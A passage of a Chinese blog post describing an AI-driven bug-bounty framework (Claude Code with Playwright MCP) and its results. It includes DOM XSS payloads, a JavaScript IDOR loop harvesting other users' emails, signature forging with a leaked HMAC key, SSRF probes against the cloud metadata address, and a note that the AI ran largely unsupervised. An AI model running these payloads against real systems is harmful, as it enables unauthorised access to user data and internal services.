1. browser_navigate → https://target.com/page#<img src=x onerror=alert(1)>
   或 https://target.com/page?returnUrl=javascript:alert(1)
2. browser_evaluate → 搜索页面中的危险 sink:
   - document.write(location.hash)
   - innerHTML = location.search
   - eval(location.hash.slice(1))
   - location.href = someParam
3. 如果 source 可控且流向了 sink → DOM XSS 确认
4. browser_wait_for → 等待 alert 弹窗出现
5. browser_handle_dialog → 捕获弹窗内容 → 截图确认

关键差异:传统工具靠"响应里有没有 <script>"来判断 XSS,但 DOM XSS 的 payload 不会出现在响应体里——它只存在于浏览器的 JS 运行时。没有浏览器引擎,传统工具完全感知不到 DOM XSS 的存在。

场景三:登录态 IDOR 遍历

大多数 IDOR 接口需要登录态才能访问。传统工具可以带一个 Cookie 发包,但做不到"自动注册→登录→遍历 ID→语义对比"这个完整流程。

AI 的做法:

1. browser_navigate → 注册页 → browser_fill_form → 注册测试账号
2. browser_click → 登录 → browser_network_requests → 保存 Cookie/Token
3. browser_navigate → /api/user/123/profile → 记录基准响应(用户名、邮箱)
4. browser_evaluate → 在已登录的浏览器中批量遍历:
   const results = [];
   for (let id = 1; id <= 50; id++) {
     const r = await fetch(`/api/user/${id}/profile`, {credentials: 'include'});
     const data = await r.json();
     if (data.email && data.email !== 'my-email@test.com') {
       results.push({id, email: data.email, name: data.name});
     }
   }
   console.log('[IDOR]', JSON.stringify(results));
5. browser_console_messages → 读取结果:
   [{id:124, email:"other@test.com", name:"张三"}, ...] → IDOR 确认

为什么传统工具做不到:传统工具无法自动注册账号(需要浏览器执行 JS 完成前端校验),无法理解"响应里的 email 不是我的"这个语义判断,更无法在一个会话里完成从注册到遍历的全链路。

这三个场景的共同特征是:都需要浏览器环境,都需要 JS 执行,都需要语义理解——恰好都是传统扫描器的致命盲区,也是我把 Playwright MCP 集成进来的原因。

五、实战案例

5.1 案例一:某SRC资产--ssrf

步骤演示:

  1. 初始化目标目录
hunt.bat init xxx.xxx.com

2.执行 Recon → 信息收集结果

hunt.bat recon xxx.xxx.com

3.执行 Hunt → 漏洞发现过程

hunt.bat hunt xxx.xxx.com

经过验证确实是一个无回的ssrf,如下图要找到这一步需要点击“添加材料” 然后在“网页链接”这个数据包中替换某个参数值就可以发现这个漏洞(MCP的功劳)

mcp具体操作大致是这样的

browser_navigate → 打开目标 → browser_snapshot → 扫描所有可交互按钮
→ 发现"添加材料"→"网页链接"功能 → browser_click → browser_network_requests 
→ 捕获请求 POST /api/material/add  Body: {"type":"url","content":"https://xxx"}
→ "content"参数接受URL → 自动加载 skills/ssrf.md → OOB验证 → 确认盲SSRF

4.执行report生成报告

成果展示:

人工验证

swagger 未授权验证

ssrf验证

5.2 案例二:某src资产--sql注入

同样一个流程 init-recon-hunt(详情请看案例一,不过多展示)

整个发现漏洞的过程大概是,在前期信息收集到泄露的api接口后通过提取js中的secret key 做签名绕过最终对接口逐个测试最终挖掘到sql注入,

整个流程我毫无干预,只是一味的发送yes。

Recon 阶段 AI 用浏览器打开目标后,browser_evaluate 扫描了页面加载的所有 JS 文件,在一段被打包混淆的 app.chunk.js 中发现了可疑代码段:

// 简化还原后的代码
function signRequest(params, timestamp) {
  var signStr = Object.keys(params).sort().map(k => k + '=' + params[k]).join('&');
  signStr += '&timestamp=' + timestamp;
  return CryptoJS.HmacSHA256(signStr, 'a1b2c3d4-secret-key-for-api').toString();
}

在前期recon信息收集的前提下hunt在这期间拿到两个关键信息:签名算法是 HmacSHA256 + 参数排序拼接,secret key 是写死的xxxxxxxx-secret-key-for-api。

签名绕过逻辑就是则是 用 browser_evaluate 在浏览器控制台里直接调 CryptoJS.HmacSHA256() 验证签名是否正确,确认无误后,后续对每个 API 端点发包前,AI 都用 Python 脚本自动生成合法签名

六、效果评估与对比

写到这里,一个自然的问题就是:这框架到底比传统方法好在哪?不好在哪?

6.1 流程对比:同一个 SSRF,两条路径

拿文章实战案例中的 SSRF 来说,回顾一下两种方式的完整路径:

传统方案:

打开 Burp → 配置代理 → 手动浏览目标 → 看到"添加材料"功能
→ 点"网页链接" → 抓包看到 url 参数 → 手动发到 Repeater
→ 试 127.0.0.1 → 被拦 → 试 0x7f000001 → 没反应
→ 有点烦了,先记下来 → 过两天想起来继续试
→ 试 oastify.com → 收到回调 → 确认 SSRF
→ 截图 → 写报告

整个过程断断续续,中间有大量的"看看别的"和"回头再说"。

AI 方案:

hunt.bat recon → Claude 用 Playwright 打开目标
→ browser_snapshot 分析页面结构 → 挨个点按钮
→ 点到"添加材料" → browser_network_requests 自动捕获 url 参数
→ 加载 skills/ssrf.md → 按渐进式探测链走:
   OOB 验证 ✓ → 回环地址遍历 → 云元数据探测 → 服务指纹探测
→ 收到 oastify 回调 → 确认盲 SSRF → 记录到 findings
→ hunt.bat report → 生成报告

AI 不会"烦",不会"先记下来回头再说"。它在一个会话里完整走完。

核心差异不是速度,而是完整性。传统方案中,测试人员可能在第 3 步试了两个 payload 没反应就换下一个功能点了。AI 不会——它会把 SSRF Skill 里定义的完整探测链走完,不会漏。

6.2 能力矩阵:谁能做什么

这里不列数字,列"能不能":

检测能力

传统工具 (Nuclei/sqlmap)

人工渗透

本框架

SQLi 自动化提取

✓

✓

✓

反射型 XSS

✓

✓

✓

DOM XSS

✗

需要手动翻 JS

✓ (browser_evaluate)

SSRF 内网探测

✗

需要手动换 payload

✓ (渐进式探测链)

GraphQL IDOR

✗

需要手动内省+改 node_id

✓

前端加密逆向

✗

需要手动 DevTools 断点

✓ (browser_evaluate Hook)

Webpack 源码泄露

✗

需要手动搜 .map

✓

攻击链自动编排

✗

靠经验联想

✓ (attack-chains.md)

业务逻辑漏洞

✗

✓ (需要理解业务)

✗ (当前盲区)

跨会话记忆

✗

✓ (人有记忆)

✓ (memory.md)

7×24 工作

✗

✗

✓

三条启示:

  1. 传统工具能做的大多数事情,AI 都能做,但 AI 不需要模板——传统工具靠模板匹配(Nuclei 的 yaml 模板),AI 靠语义理解。一个参数叫 ?redirect_url=,AI 不需要"SSRF 模板"就知道这可能是个 SSRF 入口
  2. AI 多出来的 4-5 项能力(DOM XSS、GraphQL IDOR、加密逆向、源码泄露),恰好是传统工具完全无力、人工又特别耗时的领域
  3. AI 唯一不如人的地方是业务逻辑漏洞——而这恰好是人工最有创造性的部分。这说明 AI 和人工不是竞争关系,而是分工关系

6.3 成本与取舍:

项目

传统人工

AI 框架

工具成本

基本没有

DeepSeek API ~10-30元/天(8小时重度使用)

学习成本

需要熟悉每个工具的使用方式

需要理解框架设计才能加 Skill

不可重复性

取决于当天状态(累不累、烦不烦)

每次一样的标准流程

输出标准

取决于个人习惯(有人写详细有人只截图)

每次统一的 findings 格式

可扩展性

学到新姿势靠读书/看文章/自己总结

写一个 Skill 文件就能教给 AI

最大的隐性成本不是 API 费用,而是"决策疲劳"。一个测试人员连续测 4 小时后,判断力会显著下降——看到一个可疑参数可能懒得深入。AI 没有这个问题。这是我觉得这个框架最有价值的地方,但也是数据无法量化的。

6.4 不说优点说短板

  • 误报仍然存在:AI 倾向于"宁可错杀一千",特别是在 IDOR 检测中,响应内容不同不一定是越权,可能是时间戳、随机 token。目前的缓解方案是"疑似 IDOR"的分类标记,让人工最终确认
  • 对环境的依赖:框架依赖的工具多(subfinder/ffuf/sqlmap/Playwright),缺一个就少一条能力。环境搭建本身就是一道门槛
  • 无法替代人工判断:框架能找出"哪些参数可能是漏洞入口",但不能判断"这个漏洞值不值得花时间深入"。比如一个低危的反射 XSS 在一个无人访问的内网页面——AI 会报,但人不一定值得交

一句话总结:这个框架不是在跟 sqlmap 或 Burp 比谁扫得快——它做的是把渗透测试中"重复的、大量的、需要耐心的"那部分自动化掉,让人把精力集中在 AI 做不了的事情上。

七、局限性与改进方向

任何技术方案都有边界,不说清楚边界和槽点,文章就不完整。

7.1 当前局限性

1. 业务逻辑漏洞——AI 的"盲区"

这是目前框架最明显的短板。框架能自动化检测 SSRF、SQLi、XSS、IDOR 这类技术性漏洞,因为它们有相对固定的检测模式——SSRF 就是换 URL 参数,IDOR 就是换资源 ID。但业务逻辑漏洞不一样:

  • 一个电商网站,满 100 减 50 的优惠券能否叠加使用?AI 不知道"叠加"在业务上意味着什么
  • 一个抽奖功能,修改 attempts 参数能否无限抽奖?AI 不知道"抽奖次数"是什么概念
  • 一个审批流程,跳过某一步能否直接提交?AI 不知道这个流程应该有几步

为什么难:业务逻辑漏洞需要 AI 理解网站的业务模型——用户角色、数据流、状态机、业务规则。这些信息不在 HTML 里,不在 JS 里,而在产品经理的 PRD 里。目前的技术路线(Skill 模块化)难以覆盖"理解业务逻辑"这种开放性问题。

2. Token 消耗与效率的平衡

蹬一天ai(当然不可能是24小时,我一般蹬7-8小时)的Token消耗,API(deepseek v4 pro) 的 调用费用大概10-30米(取决于目标复杂度)。对一个 SRC 的漏洞来说,如果它只值 200 元赏金,然后跑了两天花了100 元成本吃掉一半收益,那这就有点亏了,三阶段分开跑的初衷就是为了控制这个——只跑 Recon 先看看攻击面,不值得打的目标直接放弃,不让 Hunt 浪费 token。

3. 需要人工验证

AI 发现的漏洞不能直接提交。至少需要人工验证:PoC 能否复现?影响范围多大?是不是重复提交?特别是评级——AI 倾向于给所有漏洞评 Critical(因为它觉得"能读其他用户数据就是天大的事"),但实际提交时 Medium/Low 更合理。(听说最近很多人用ai生成的报告频繁提交部分src已经发出了声明会对此做处罚,所以dddd,花点时间自己验证)

4. 上下文窗口——越测越"忘"

一个大型目标,Recon 可能产生上百页的攻击面数据。Claude Code 的上下文窗口虽然大,但也架不住一直塞。目前的解决方案是 memory.md 做断点续传——每次新开会话,AI 先读 memory.md 恢复状态。但这只能恢复"结论",不能恢复"过程"。比如上次扫描时某个端点的响应细节,如果没记到 memory.md 里,新会话里 AI 就不知道。

5. MCP 浏览器的稳定性

Playwright MCP 有时会超时、卡住、或者页面加载不完整。这在本地调试时不是大问题,但在自动化流程中会导致整个步骤失效。目前的缓解方案是分步执行(每一步都有截图留证),但还没有做到自动重试。

7.2 未来改进方向

1. 多 Agent 协作

这是我最想做的改进。目前的框架只有一个 Claude 实例,既做 Recon 又做 Hunt 又做 Report。如果拆成三个专用 Agent:

Recon Agent   → 只做信息收集,输出攻击面地图
Hunt Agent    → 只做漏洞检测,接收攻击面地图,输出 findings
Report Agent  → 只做报告,接收 findings,输出标准化报告

好处:

  • 每个 Agent 的 CLAUDE.md 更短更专注,减少上下文浪费
  • 三个 Agent 可以并行工作(Recon Agent 在收集目标 B 时,Hunt Agent 在检测目标 A)
  • 单个 Agent 的上下文窗口不会被撑爆

技术上的关键问题是 Agent 之间的通信——用文件系统(findings/ 目录)作为消息队列,上一个 Agent 的输出就是下一个 Agent 的输入。这不是微服务那种 RPC,而是文件驱动的数据流。

2. RAG 增强漏洞知识库

目前的 Skill 是静态的——一个 md 文件写到死。但漏洞知识在持续更新。如果把最新的 CVE、公开的漏洞报告、SRC 的高危案例做成向量库,AI 在检测时动态检索相关知识:

AI 做 Recon 发现目标用 Spring Boot 2.3.0
  → RAG 检索: "Spring Boot 2.3.0 有哪些已知漏洞?"
  → 返回: CVE-2021-xxx, SpEL 注入, Actuator 配置不当
  → AI 自动追加检测: /actuator/env, /actuator/heapdump, SpEL payload

这比静态 Skill 覆盖范围大得多——因为漏洞知识在实时更新,不需要手动维护 Skill 文件。

3. 自动化 PoC 生成

目前 AI 发现漏洞后,只输出文本描述 + 复现步骤。如果能把 PoC 自动化生成:

发现 IDOR (GET /api/user/124 → 返回其他用户数据)
  → 自动生成 Python PoC:
     import requests
     for uid in range(1, 100):
         r = requests.get(f"https://target.com/api/user/{uid}")
         if r.json().get('email'):
             print(f"[{uid}] {r.json()['email']}")

发现 SSRF (POST /api/import url= 参数)
  → 自动生成 Python PoC:
     import requests
     r = requests.post("https://target.com/api/import",
         json={"url": "http://169.254.169.254/latest/meta-data/"})
     print(r.text)

技术路线:让 AI 直接从 network_requests 捕获的请求生成 Python requests 代码,替换变量部分(URL、参数、Cookie),加上自动遍历逻辑。

4. 安全测试沙箱

目前所有操作在本地运行——nmap、ffuf、sqlmap 直接打目标。未来考虑把所有主动探测放入 Docker 容器,统一出口 IP,避免:

  • 自己的 IP 被目标封
  • 本地工具残留痕迹(nmap 日志、sqlmap 缓存)
  • 不同目标之间交叉污染

5. 目标知识图谱

目前每个目标的 memory.md 是独立的,目标之间的经验无法共享。如果构建一个轻量级的图谱:

baoku.xxx.com → Node.js/Express + nginx → SSRF 验证: gopher 协议可用
example-shop.com → Node.js/Express + nginx → gopher 协议也可用?

→ 自动复用: 对 example-shop.com 的 SSRF 检测,优先用 gopher 协议

不需要复杂的图数据库,memory.md 里加一行跨目标参考就能实现。

八、总结与展望

小小总结

这篇文章从头到尾重点就是三件事:

模块化:把渗透测试的每个环节(Recon、SSRF、SQLi、XSS、IDOR、CSRF、Attack Chains、Reporting)拆成独立的 Skill 模块,每个模块包含完整的检测方法论、Payload 库、绕过手法、输出标准。CLAUDE.md 是"接口声明"——只说我有什么能力,具体怎么做在 Skill 文件里。这种设计让框架像乐高一样——今天加一个 Browser Hunt,明天加一个 JWT 检测,不需要改主配置,一个文件就搞定。

上下文持久化:三层 Memory 机制解决了 AI 渗透测试最根本的问题——跨会话状态丢失。全局 memory.md 记录方法论优化,目标级 memory.md 记录检测历史和活跃假设,findings/ 目录记录已确认的漏洞。每次新开会话,AI 先读 memory.md 恢复状态,知道"做到哪了、哪些 Payload 好用、哪些端点在追"。这不是日志,是 AI 的工作记忆。

安全可控:Data Safety Protocol 把渗透测试的安全经验编码为 AI 的行为约束——速率限制防封 IP、范围约束防越界、WAF 感知防无效攻击、禁止破坏性操作防事故。约束不是代码拦截,而是 Prompt 驱动的 AI 自主遵守——更强的是,AI 理解了这些规则的意图,能根据上下文灵活判断,而不是机械的 if-else。

AI 渗透测试的未来趋势

经过这个框架的搭建和实战测试,我对 AI 在渗透测试中的定位有几个判断:

1. AI 不会取代人,但会改变"挖洞"的定义。 信息收集、参数分析、Payload 生成、响应比对——这些重复劳动会被 AI 吃掉。但决定"这个漏洞值不值得深究"、"这个攻击链该怎么串"、"这个评级会不会被审核驳回"——这些判断仍然需要人。未来的渗透测试工程师更像指挥官——定方向、审结果、做决策,而不是亲自拿 Burp 一个一个点按钮。

2. 浏览器的出现是分水岭。 传统 HTTP 工具只能看到"服务端返回了什么",浏览器让 AI 能感知"前端发生了什么"——JS 加密、DOM XSS、WebSocket 通信、前端校验。Playwright MCP 做的是把 Chrome DevTools 的所有能力交给 AI 自主操控。这个能力一旦成熟,很多之前"测不了"的漏洞类型会变成自动化标准流程。

3. 从"工具"到"方法"的转变。 现在大部分 AI 安全工具是"用 AI 写 PoC"、"用 AI 解释漏洞"——这是把 AI 当工具用。这个框架做的是把 AI 变成渗透测试的操作系统——定义角色、加载技能、执行流程、记录记忆。AI 不是被动回答,而是主动推进。这种范式转变比任何单个功能都重要。

开源与共建

框架还在快速迭代中,但核心方法论已经稳定。如果你阅读完这篇文章对我的框架有兴趣,可以留言评论,如果确实有很多人需要,我会尽快传到github上和各位大佬一起学习分享,希望各位大佬对于本框架有什么建议也麻烦在留言区指点指点。